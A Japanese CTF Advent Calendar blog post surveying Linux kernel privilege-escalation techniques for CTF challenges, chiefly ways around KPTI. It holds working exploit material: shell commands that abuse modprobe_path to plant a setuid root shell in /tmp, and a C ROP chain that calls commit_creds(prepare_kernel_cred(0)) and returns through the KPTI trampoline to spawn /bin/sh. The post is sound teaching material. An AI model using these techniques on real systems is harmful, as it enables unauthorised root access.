Try   HackMD

最近のLinuxカーネルexploit問に対するテクニック集1

tags: kernel ctf pwn

概要

この記事は,CTF Advent Calendar 2018 の4日目の記事です.
3日目は私の「Linuxカーネルexploit問におけるTIPS」でした.

今回は

  • KPTI回避

について書きます.残念ながら新規性はありません.日本にはこういった記事はあまりありませんが,海外では普通に公開されている内容です.

またLinux以外のOS(例えばWindows)には通用しないと思いますので,ご注意ください.

はじめに

大前提として,Linuxのカーネルexploit(権限昇格)についてある程度知っている方向けの内容となります.

全く知らないよ!って方は,nokia31337の解説資料で図を入れて解説したので,先にそちらで精進したほうが良いかと思います(2014年当時のARMにおけるLinuxカーネルExploit問です).

また私はLinuxカーネルのソースを全て読んだことはなく,必要に応じてチラ見した程度なので,そこまで深い知識は持っていません.もし記事の内容に間違いがありましたら,優しく教えてください.マサカリ投げるのは禁止!

攻略パターンのおさらい

最近は,CTFでもLinuxのカーネルExploit問題がちょくちょくでますね.CTFに出場するようなセキュリティ研究者なら,防御のためにも,カーネルの攻撃手法くらいは知っておかねばなりません.

さて,Linuxのカーネルexploitパターンにはいくつか攻略方法があります.KPTIについて話す前に,軽くおさらいしておきましょう.

ret2usr

昔から使われてきたテクニックで,カーネル内でRIPを奪ったら,カーネル権限のままユーザランドに戻るパターンの攻撃です.

大抵はユーザランドに予め用意しておいたcommit_creds(prepare_kernel_cred(0))を実行し(これ以降はcc(pkc(0))と略します),他にもカーネル権限でやっておきたいことがあれば実行します(カーネル内の破壊したポインタの修正など).

やることが済んだら,カーネル権限からユーザ権限に戻らなければなりません.権限の切り替えはswapgs + iretqを使います(x86_64の場合).これで権限を切り替えつつ綺麗にユーザランドへ戻ることができます.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

但し,ユーザランドにcommit_creds()prepare_kernel_cred()を呼び出すコードを予め用意しておく必要があるため,これらのカーネル内でのアドレスを知らなくてはなりません.最近のカーネルにおける各種アドレスは,OSが起動する度にランダマイズされているため(kASLR),アドレスが固定ではありません.つまり,事前に(RIPを奪う前に)kASLRを突破するためのアドレスリークが必須なことに注意しましょう.

※別のバグを使って何らかのアドレスをカーネルからリークし,オフセットを減算してkernel_baseを求め,オフセットを加算してcommit_creds()prepare_kernel_cred()のアドレスを求め,それをユーザランドに埋め込むだけです.ユーザランドに埋め込む機械語は,例えば以下のようなものとなります.

※カーネル権限でユーザランドに用意した以下コードを実行する xor rdi, rdi mov rbx, <prepare_kernel_cred address> call rbx mov rdi, rax mov rbx, <commit_creds address> call rbx ※この後,別途ユーザ権限でユーザランドに戻る必要がある

但し,このような機械語を書き込んだカーネルから見える(そして実行できる)メモリが必要です.

2017年の冬までは後述のKPTIと呼ばれる機構が無かったため,カーネルのメモリ管理は甘く,ユーザランドでRWXなパーミッションのメモリを作っておくと,カーネルからもそのメモリに同一パーミッション(RWX)でアクセスできました.このためユーザランドで上記のようなコードを仕込んだメモリを事前に用意しておき,何らかのカーネルのバグを突いてRIPを奪い,このメモリのアドレスへリターンすれば,cc(pkc(0))が実行できました.

uidの直接上書き

Linuxではプロセス毎にカーネルスタックが用意されます.カーネルスタックは,システムコールを処理する時に使われます.そのカーネルスタックは共用体で,最下部から上へ向かってスタックとして使われるのですが,最上部にはプロセスに関するポインタも持っています.

このポインタを頑張って色々辿っていくと,struct credと呼ばれる構造体に行き着くことができ,ここにはプロセスのuidやgidなどの権限情報が書き込まれています.これを0にすれば,そのプロセスはrootになります.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

RIPを奪わなくても,カーネルスタックのアドレスリークと任意アドレスの読み書きができれば達成できるため,非常に便利な手法ですが,今回は詳しくは触れません.

気になる方は,おなじみnokia31337の解説資料に書いてあるので読んでみてください.thread_union.thread_info->task_struct->cred->uidと辿れることが書いてあります.

但し,現在は上記の資料執筆当時とは少しデータ構造が変わっており,thread_union.task_struct->cred->uidと辿るのが正しいようです(v4.16-rc1で入った変更らしく,カーネルのビルドコンフィグで切り替えるっぽい).

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

(長いので省略)
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Stackjacking(Rosengropeテクニック/Obergropeテクニック)と名前のついた,汎用的なカーネルexploitテクニックも,本質的にはこのテクニックを使います.

sys_setuidへのパッチ

古い(〜2016年頃?)ARMでのみ使えた手法です.カーネルの.text領域がRWXだったため,任意アドレスの読み書きができるバグさえあれば,カーネルを自由に改変できてしまうのでした.

ユーザランドのsetuid()システムコールに対応する,カーネル内のsys_setuid()は,呼び出したプロセスの権限を変更するためcc(pkc(uid))のようなコードを実行しますが,ちゃんと事前に権限チェックしています.でもこの権限チェックをNOPにしてしまえば,誰でもsetuid(0),つまりcc(pkc(0))が呼び出せることになります.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

最近はこんな簡単な問題はもう出なくなりましたね.この手法についても,これ以上は触れません.気になる方は同じく上記資料に書いてあるので,読んでみてください.

SMEP回避 (ユーザランドでROP)

x86/x64に限定した話ですが,ret2usrへの対策でIntel製CPUがSMEPという防御機構を搭載しました.これにより,カーネル権限ではユーザランドのメモリを実行することができなくなりました.カーネルがユーザランドのメモリアドレスを実行しようとすると,クラッシュするようになったのです.

でも回避は簡単です.SMEP有効フラグはcr4レジスタにあるので,SMEP無効フラグを設定した値でcr4を更新すれば終わりです.

  1. ユーザランドのメモリにカーネル内のROPガジェットを配置しておく
  2. カーネルのRIPを奪う
  3. ユーザランドへstack pivot(ユーザランドのメモリはSMEPにより実行できないが,スタックとしてアクセスすることはできてしまう)
  4. ユーザランドのメモリを使ってカーネル権限でROPしCR4のSMEPフラグをクリア
  5. ret2usrでcc(pkc(0))

とすれば終わりです.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

私がカーネルexploitを覚えてからずっと使っていたテクニックで,大会では何度もお世話になりました.

SMAP回避 (カーネル内でROP)

Intel製CPUは,SMEP回避への対策でさらにSMAPという防御機構を搭載しました.これにより,カーネル権限ではユーザランドのメモリへアクセスすることができなくなりました(copy_from_user()とかでどうしてもユーザランドへのアクセスが必要な場合だけ,EFLAGS.ACビットで一時的にSMAPをオフにするなどしてたと思います).

でも回避は簡単です.SMAP有効フラグもcr4レジスタにあるので,SMAPフラグを無効とした値でcr4を更新すれば終わりです.

ユーザランドにstack pivotすることができないため,カーネル内だけでROPする必要があり,難易度は上がります.しかし,カーネル内でROP用の空間を確保さえすれば終わりですね.shmget()で大きめのメモリを確保しても良いし,カーネルのdataっぽいところを利用する,という方針でも良いでしょう.ROP達成後は,先と同じくret2usrでcc(pkc(0))をすればOKです.

SMAP回避 (ret2dirでROP)

ret2dirと呼ばれるテクニックもあります.

SMAPによりカーネルからユーザランドのメモリへのアクセスは制限されていますが,同じ内容のメモリがカーネル空間に存在した場合,そこへのアクセスは問題なくできてしまいます.

実はカーネルは全ての物理メモリをカーネル空間にストレートマッピングしています.つまり物理アドレスへ擬似的にアクセスできてしまうのです.これによりユーザランドで用意したメモリはカーネル空間にも必ず存在することになるため,そこでROPをすれば良いじゃない,という方法です.

攻撃にはユーザランドで確保した仮想アドレスに対応する物理アドレスを知っておく必要がありますが,/proc/$PID/pagemapを読んで計算すれば物理アドレスへ変換可能です.そのアドレスに,ストレートマッピングのベースアドレスを足せばよいでしょう.

但し,最近のLinuxでは一般ユーザがこのファイルを読む権限を持たないように変更されたため,ret2dirは実用的ではなくなりました(ストレートマッピング自体は多分まだ使われているはずですが,別の方法で物理アドレスを取得しなければなりません).

KPTI (Kernel page-table isolation)

はい,ようやく前準備が整いました.SMEPやSMAPと呼ばれる防御機構はいずれも強力ですが,攻撃を完全に防ぐことはできませんでした.そこで,KPTIという防御機構が作られたわけですね.

私はカーネルのパッチを追いかけてる訳ではないので詳しく知りませんが,どうやら2017年秋にKAISERと呼ばれる機構が提案されて,これがKPTIの原型だそうです.ちょうどその頃MeltdownやSpectreと呼ばれるCPUの脆弱性が秘密裏に報告され,KAISERはMeltdownに有効だったため,水面下でパッチが取り入れられたようですね.

KPTIは「カーネル空間のページテーブルと,ユーザ空間のページテーブルを,独立して管理する」みたいな感じの機構です.ちゃんと調べたわけではありませんから,本質は違うのかもしれません.でもCTFで戦うにはこの程度の理解で良いでしょう.英語版Wikipediaにある図とかは,比較的分かりやすいと思います.

SMEPもSMAPも,cr4のフラグを消して回避したあとは,ret2usrに持ち込むのが一般的でした.cc(pkc(0))を実行するだけならROPでも十分書けると思いますが,RIPを奪うために破壊してしまったカーネル空間の各種データを元に戻したり,二度目以降は呼ばれないようにしたり,SElinuxのような別の防御機構を外したり,と多くの場合は他にも色々やる事があるためです.全部ROPで片付けるには少々面倒なので,ret2usrに持ちこみアセンブリを実行して達成するパターンが多いのです.

さてret2usrが効く原因は,カーネルからユーザランドのメモリがRWXで見えてしまっていたことによります.KPTIによりページテーブルを分離できたので,ついでにユーザランドのメモリは全てRW-でマップするような変更も入ったようです.ソースで確認したわけではありませんが,LWN.netにこのような記事があります.

Another potential vulnerability comes about if the kernel can ever be manipulated into returning to user space without switching back to the sanitized PGD. Since the kernel-space PGD also maps user-space memory, such an omission could go unnoticed for some time. The response here is to map the user-space portion of the virtual address space as non-executable in the kernel PGD. Should user space ever start running with the wrong page tables, it will immediately crash as a result.
カーネルが,ユーザ空間用にサニタイズされたPGD(Page Global Directory)へ戻らないままユーザ空間へリターンし操作できるようになった場合,別の潜在的な脆弱性が生じます.カーネル空間のPGDも,ユーザ空間のメモリはマップしているため,そのようなことが起きてもしばらくは気付けない可能性があります。 この問題への対応として,仮想アドレス空間のユーザ空間部分は,カーネルPGDへnon-executableとしてマップすることにしました.ユーザー空間のコードが,間違ったページテーブルで実行されると,すぐにクラッシュします.

従って,ユーザランドでRWXなメモリであっても,カーネルからは全てRW-というパーミッションでマップされるようになりました.これにより,ret2usrは完全に使えなくなってしまいました.ここまでがKPTIの話です.

KPTIの回避

KPTIが有効な環境では,ユーザランドのメモリを実行することは出来ません.従ってKPTIを回避するには,カーネル内部だけで権限昇格を完結させなければなりません(尚,SMAP無効ならば,データ領域としてユーザランドのメモリを参照することは可能です).

それでは,CTFでよく使われるテクニックをいくつか紹介しましょう.

modprobe_pathの改変

PPPのKNOTEのWriteupを見て知ったテクニックです.
初出はこちらの資料の3-3(p29~)でしょうか.JailBreak界隈ではもっと前から知られていた,という話も聞きましたが,よくわかりません.

カーネルの.data領域には,modprobe_pathと呼ばれる変数があります.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

変数には"/sbin/modprobe"が初期値で入っていますが,/proc/sys/kernel/modprobe経由でユーザランドから設定値を見ることができ,root権限があれば値の書き換えも可能となっています.書換可能なパラメータであるため,RWなメモリにマップされています.

さて,任意のアドレスに対して任意の値で書き換えられるカーネルのバグがあったとしましょう.そのバグを悪用し,modprobe_pathにある文字列を/sbin/modprobeから/tmp/hogehogeに改変したと仮定します.

この時,以下のようなコマンドをユーザランドで打つことで,権限昇格が可能です.

$ echo -ne '#!/bin/sh\n/bin/cp /bin/sh /tmp/sh\n/bin/chmod 4777 /tmp/sh\n' > /tmp/hogehoge $ chmod +x /tmp/hogehoge $ echo -ne '\xff\xff\xff\xff' > /tmp/a $ chmod +x /tmp/a $ /tmp/a $ /tmp/sh -p #

なぜこれが起こるのかを解説していきましょう.

LinuxにはユーザーモードヘルパーAPIと呼ばれる機構があり,カーネルからユーザランドのバイナリを実行できるようになっています.呼び出される経路の一例として,「登録されていないフォーマットのバイナリが実行された際に,そのようなバイナリをハンドリングできるモジュールが無いかを探そうとする目的で,modprobeコマンドを発行する」というものがあります.

経路的には以下の通りです(カーネル v4.12の時の調査メモから持ってきてるので,最新版では間違ってる可能性があります).

sys_execve() do_execve() do_execveat_common() bprm_mm_init() exec_binprm() search_binary_handler() request_module() __request_module() call_modprobe() ★ call_usermodehelper_setup() call_usermodehelper_exec() queue_work()

で,call_modprobe()は以下の通りです.

<modprobe_path> -q -- <module_name>らしきコマンドを発行しているように見えますね.

つまり以下を実行すると,'\xff\xff\xff\xff'というヘッダを持つフォーマットのバイナリは実行できないので,ハンドリング可能なモジュールが無いかどうかを探すために,暗黙的にcall_modprobe()が呼ばれるのです.もちろん,call_modrprobe()が呼ばれたとしても,そんなヘッダを持つバイナリをハンドリングできるようなカーネルモジュールはありませんので,実質的には何も起きません.最終的に,画面にはcommand not foundと出力されて終わりです.でも,内部的にはcall_modprobe()が呼ばれている,という点が重要なのです.

$ echo -ne '\xff\xff\xff\xff' > /tmp/a $ chmod +x /tmp/a $ /tmp/a ./a: line 1: $'\377\377\377\377': command not found

ここまで理解したら後は簡単ですね.modprobe_path/tmp/hogehogeに改変した,と仮定していますから,/tmp/hogehogeにカーネル権限で実行してほしいコードを書いておき,上記の手順でcall_modprobe()を呼び出せばOKです.例では,/bin/shをパーミッション4777/tmp/shに配置する,というコードを書いています.尚,実行させるコマンドは一応全てフルパスで書いておいた方が良いと思います.

$ echo -ne '#!/bin/sh\n/bin/cp /bin/sh /tmp/sh\n/bin/chmod 4777 /tmp/sh\n' > /tmp/hogehoge $ chmod +x /tmp/hogehoge $ echo -ne '\xff\xff\xff\xff' > /tmp/a $ chmod +x /tmp/a $ /tmp/a $ /tmp/sh -p #

この手法の良い点は,本質的にRIPを奪う必要がないためSMEP/SMAP/KPTIのいずれも回避しやすい点です.カーネルのバグを使って達成すべき内容はmodprobe_pathを別の文字列に書き換えるだけであり,その後rootになるためのトリガは別途引き起こせば良い点にあります.

尚,ユーザーモードヘルパーAPIで利用されるグローバル変数の値を無視するCONFIG_STATIC_USERMODEHELPERというビルドコンフィグが既に存在し,これが有効な場合はこのテクニックは使えません.これが有効な場合,例えばmodprobe_pathの値を無視し,ユーザランドの特定のプログラムで判定して実行する,みたいな機構になります.但し,まだデフォルトでは有効になっていないようです(Ubuntu 18.04のカーネルで確認).

modprobe_pathの改変(発展形)

先のテクニックは,RIPを奪えるケースと組み合わせる事もできます.RIPを奪った箇所からstack pivotでROPに持ち込めば,たった6個のガジェットから成る,次のようなROPでrootを取ることが出来ます.

pop gadget value # 0x0061612f706d742f (="/tmp/aa\0") pop gadget addr # modprobe_path のaddress mov gadget # *addr = value を達成するようなもの infinity_loop gadget # executableな0xeb 0xfe(jmp $-2)のあるaddress

最後はカーネル内で無限ループの起きる場所にリターンしています.ユーザランドへ戻るための復帰用コードを書かなくても良いところがミソです.

これで良いのか?と思われるかもしれませんが,最近のCTFの問題では大抵利用可能です.何故なら最近のカーネルexploit問ではRace Conditionバグを突かせる問題が多く,その場合はCPUが2つ以上動いています(/proc/cpuinfoで確認可能).片方のCPUがカーネル内の無限ループで死んでも,もう一つのCPUが正常に動いていれば,ユーザランドのコマンドを叩くことは可能だからです.

このテクニックは,大会が終わった後に入手した,WCTF 2018のklistという問題を勉強がてら解く時に使いました.klistの解説は明後日の記事で行います.

※ちなみに,元ネタはnokia31337のWrite-upで使われていたテクニックです.nokia31337という問題はFreeRTOS+Linuxのハイブリッドな環境だったため,このテクニックが有効だったのですが,CPUが2つ以上動いているなら純粋なLinux環境でも利用可能です.

その後の調査で,このテクニックはシングルCPUでも問題なく利用可能なことが分かっています.但し若干の変更が必要で,infinity_loop gadgetに飛ばすのではなく,rdiに大きな値を入れてmsleep()に飛ばす必要があります.

poweroff_cmdの改変

modprobe_pathテクの劣化版といえるテクニックです.blueborneのPoCでも使われています.

上記のpoweroff_cmd変数を書き換えておき,__orderly_poweroff()を呼び出すことで,ユーザ空間のコマンドを発行します.尚,poweroff_cmd変数の現在値は,/proc/sys/kernel/poweroff_cmdで確認することができます.

注意点があります.__orderly_poweroff()は,筐体温度が上がりすぎた場合にgracefulにOSを落とす目的で,thermalモジュールから呼ばれる関数ですが,これを手動で(一般ユーザ権限で各種コマンドを駆使して)呼び出す方法は多分ありません.

つまりmodprobe_pathの時のように,メモリの値を書き換えただけでは不十分で,カーネル内でRIPを奪って__orderly_poweroff()に飛ばす必要があります.modprobe_pathテクの劣化版と書いたのはこのような理由によります.

逆に,blueborneのようなリモートexploitであればこのテクニックの方が好ましくなります.「一般ユーザ権限でコマンドを実行することで呼び出せる」というメリットは,リモートexploitでは意味をなしませんから,modprobe_pathテクもpoweroff_cmdテクも同じです.そして筐体の温度が上がって落ちるという事はめったに起こらないと考えられますから,__orderly_poweroff()が呼ばれるケースは,call_modprobe()が呼ばれるケースよりも更に低いと言えます.従って,書き換えた値がカーネルの動作に影響を及ぼしにくい,というメリットがあります.

尚,一緒に定義されているreboot_cmd変数を使っても同様の事ができると思います.

run_cmd

run_cmdを用いても可能です.SMAPが無いならこちらのほうが楽かもしれません.

実行したいコマンドを書いたアドレスを第一引数に渡せばOKです.

core_pattern

core_patternを用いても可能です.core_patternの中身を|/tmp/xなどへ書き換えた後に,適当なプログラムをSIGSEGVなどさせれば,書いたコマンドが実行されます.

ramfsにおけるテクニック

TWCTF 2018のReadableKernelModuleで出題されたネタですね.PoCはこちらです

CTFのカーネルexploit問では,多くの場合ファイルシステム上の/root/flag.txtがフラグです.rootにならないとフラグが読めないので,なんとかしてrootになろう,というのが前提です.

しかし出題されるほぼ全ての問題はqemu用のイメージファイルとして渡されており,そのイメージはramfsのようにメモリに展開されて扱われるため,ファイルシステムが全てメモリ上に存在します.つまりフラグのファイルもメモリ上に存在します.

もしメモリを広く走査することができるようなバグがあれば,例えば"CTF{"のような特徴的なフラグフォーマットをメモリ上から探し,前後をダンプするだけでフラグが読み取れてしまいます.

ret2usrを使っているわけではないので,これもKPTIを回避可能ですね.

対策としては,/root/flag.txtには読んでもゴミと判別がつかないデータを入れておき,CTF{$(sha256sum /root/flag.txt)},をフラグとする,という方法が望ましいと思います.(0CTF 2018のZeroFSという問題では,ちゃんとこの対策が取られていました).

KPTI exitトランポリンテク

実は,これが最も一般的なテクニックです.

KPTIのページテーブルに関する情報はCR3レジスタが持っているので,iretqでユーザランドへ戻る場合にはCR3を正しい値にしなければなりません.

これはそういうガジェットが見つかっているので,これを利用すると良いでしょう.

以下のURLが参考になります.

   /*
     "swapgs_restore_regs_and_return_to_usermode"
     https://elixir.bootlin.com/linux/v4.19.26/source/arch/x86/entry/entry_64.S#L674
     0xffffffff81c0098a:    mov    rdi,rsp
     0xffffffff81c0098d:    mov    rsp,QWORD PTR gs:0x5004
     0xffffffff81c00996:    push   QWORD PTR [rdi+0x30]
     0xffffffff81c00999:    push   QWORD PTR [rdi+0x28]
     0xffffffff81c0099c:    push   QWORD PTR [rdi+0x20]
     0xffffffff81c0099f:    push   QWORD PTR [rdi+0x18]
     0xffffffff81c009a2:    push   QWORD PTR [rdi+0x10]
     0xffffffff81c009a5:    push   QWORD PTR [rdi]
     0xffffffff81c009a7:    push   rax
     0xffffffff81c009a8:    xchg   ax,ax                  // ★
     0xffffffff81c009aa:    mov    rdi,cr3
     0xffffffff81c009ad:    jmp    0xffffffff81c009e3
     ---
     0xffffffff81c009e3:    or     rdi,0x1000
     0xffffffff81c009ea:    mov    cr3,rdi
     0xffffffff81c009ed:    pop    rax
     0xffffffff81c009ee:    pop    rdi
     0xffffffff81c009ef:    swapgs
     0xffffffff81c009f2:    nop    DWORD PTR [rax]
     0xffffffff81c009f5:    jmp    0xffffffff81c00a20
     ---
     0xffffffff81c00a20:    test   BYTE PTR [rsp+0x20],0x4 ; check cs cpl
     0xffffffff81c00a25:    jne    0xffffffff81c00a29 ; return to kernel, don't want this.
     0xffffffff81c00a27:    iretq ; return to userland
   */

このガジェットを利用する際は,カーネル空間のスタックにrip,cs, rflags, rsp, ssの5つを順序良く積んでおく必要があります.これらを都度調整するのは面倒なため,exploitの開始直後に値を取得/保存し,それを使い回すのが良いでしょう.

unsigned long user_cs;
unsigned long user_ss;
unsigned long user_sp;
unsigned long user_rflags;

static void save_state() {
  __asm__("mov %0, cs": "=r"(user_cs));
  __asm__("mov %0, ss": "=r"(user_ss));
  __asm__("mov %0, rsp": "=r"(user_sp));
  __asm__("pushf; pop %0": "=r"(user_rflags));
}

static void win() {
  char *argv[] = {"/bin/sh", NULL};
  char *envp[] = {NULL};
  puts("[+] Win!");
  execve("/bin/sh", argv, envp);
}

...

  // rop in exploit
  *chain++ = kbase + rop_pop_rdi;
  *chain++ = 0;
  *chain++ = kbase + prepare_kernel_cred; // pkc(0)
  
  *chain++ = kbase + rop_mov_rdi_rax;
  *chain++ = kbase + commit_creds;    // cc(pkc(0))
  
  *chain++ = kbase + rop_bypass_kpti; // return to usermode
  *chain++ = 0xdeadbeef;
  *chain++ = 0xdeadbeef;
  *chain++ = (unsigned long)&win;
  *chain++ = user_cs;
  *chain++ = user_rflags;
  *chain++ = user_sp;
  *chain++ = user_ss;

ROPでcc(pkc(0))したあとに,上記のrop_bypass_kptiガジェットに飛べば,正しくユーザランドへ戻ることができます.後はユーザランドでexecve("/bin/sh")するだけです.

尚,★をつけた部分には注意しましょう.vmlinuxをIDAで開くなどすると,この部分のアセンブリはjmp命令になっています.しかし実際のメモリをダンプすると,xchg ax, axとなっており,jmp命令は何らかのタイミングで置換されるようです.

SEGVハンドラでごまかす

以下のURLが参考になります.

KPTI環境下でCR3レジスタを元に戻さずユーザランドに復帰するとクラッシュしますが,クラッシュとはSEGVのことであるため,ユーザランドにてSEGVハンドラを事前に用意しておくと,SEGVハンドラが呼び出されて問題なく復帰できます.

chmodテク

以下のURLが参考になります.

カーネルexploitでは,flag.txtが読めればOKです.つまり,rootシェルを取得する必要はなく,chmod("/root/flag.txt", 0777)でも条件は達成できることになります.

RIPを奪ったあと,上記を満たすようなROPを呼んでも良いでしょう.

chmodは以下の形式です.

595 SYSCALL_DEFINE2(chmod, const char __user *, filename, umode_t, mode)
596 {
597         return do_fchmodat(AT_FDCWD, filename, mode);
598 }

尚,実際のアセンブリではSYSCALL_DEFINE2(chmod, ...)は,引数がrdi相対(メモリ上に引数が配置されていて,[rdi+XXX]のように取ってくる)で渡されてくるようなので注意しましょう.

以下はSYSCALL_DEFINE2(chmod, ...)のアセンブリです.

.text:FFFFFFFF8129F9C0
.text:FFFFFFFF8129F9C0
.text:FFFFFFFF8129F9C0
.text:FFFFFFFF8129F9C0                                   sub_FFFFFFFF8129F9C0 proc near
.text:FFFFFFFF8129F9C0 000 E8 8B 1D 96 00                call    nullsub_1
.text:FFFFFFFF8129F9C5 000 55                            push    rbp
.text:FFFFFFFF8129F9C6 008 0F B7 57 68                   movzx   edx, word ptr [rdi+68h]
.text:FFFFFFFF8129F9CA 008 48 8B 77 70                   mov     rsi, [rdi+70h]
.text:FFFFFFFF8129F9CE 008 BF 9C FF FF FF                mov     edi, -100       ; AT_FDCWD
.text:FFFFFFFF8129F9D3 008 48 89 E5                      mov     rbp, rsp
.text:FFFFFFFF8129F9D6 008 E8 F5 FE FF FF                call    sub_FFFFFFFF8129F8D0 // do_fchmodat
.text:FFFFFFFF8129F9DB 008 48 98                         cdqe
.text:FFFFFFFF8129F9DD 008 5D                            pop     rbp
.text:FFFFFFFF8129F9DE 000 C3                            retn
.text:FFFFFFFF8129F9DE                                   sub_FFFFFFFF8129F9C0 endp
.text:FFFFFFFF8129F9DE

ROPするならrdi, rsi, rdxを揃えた上で,do_fchmodat()を直接呼び出したほうがわかりやすいかもしれません.尚rdiに設定すべきAT_FDCWD-100,つまり0xFFFFFF9cです.

ROPでcc(pkc(0))したあとに,上記の通りfchmodat()を呼び,msleep()か無限ループに突入すれば,別スレッドでフラグを読むことができるでしょう.

WP0の無効化+コード改変

メモリの属性はページテーブルを用いて定義されていますが,書き込み保護が有効になるのはCR0WPフラグが立っているときだけです.

CR0WPフラグを落とすにはいくつか考えられますが,以下のどちらかがよく使われます.

  • native_write_cr0(int)を呼び別の値でCR0を変更
  • ROPで直接CR0WPフラグを落とす

最後にmov [reg], regのようなガジェットを使ってカーネルのコードにパッチを当て,msleep()や無限ループに突入すれば良いでしょう.尚,パッチの当て先としては,例えばsys_setuid()の条件を潰すなどが代表的なターゲットとしてよく知られています.

コード領域へのRW権限付与

Linuxカーネルには,set_memory_rw()があります.

int set_memory_rw(unsigned long addr, int numpages)
{
    return change_page_attr_set(&addr, numpages, __pgprot(_PAGE_RW), 0);
}

これを呼び出すと,ページテーブル内の属性フラグにRW属性が追加されるので,カーネルのコード領域であっても読み書きすることができるようになります.

データ領域への実行権限付与

似たような関数にset_memory_x()があります.

int set_memory_x(unsigned long addr, int numpages)
{
	if (!(__supported_pte_mask & _PAGE_NX))
		return 0;

	return change_page_attr_clear(&addr, numpages, __pgprot(_PAGE_NX), 0);
}

例えばスタックに対してこの関数を呼ぶと,スタックに実行属性を追加することができます.

終わりに

今回は最近のカーネルのexploitでよく使われるテクニックについて,ざっと紹介しました.

より深く学びたければ,各種資料へのリンクがまとまっているLinux Kernel Exploitationあたりを読むと良いと思います.今回紹介した内容は,大体このリンクのどこかにあった内容だと思います.

明日も私が記事を担当します.比較的最近追加されたシステムコールであるuserfaultfd()の悪用の話(最近のLinuxカーネルexploit問に対するテクニック集2)です.良ければ見てくださいね.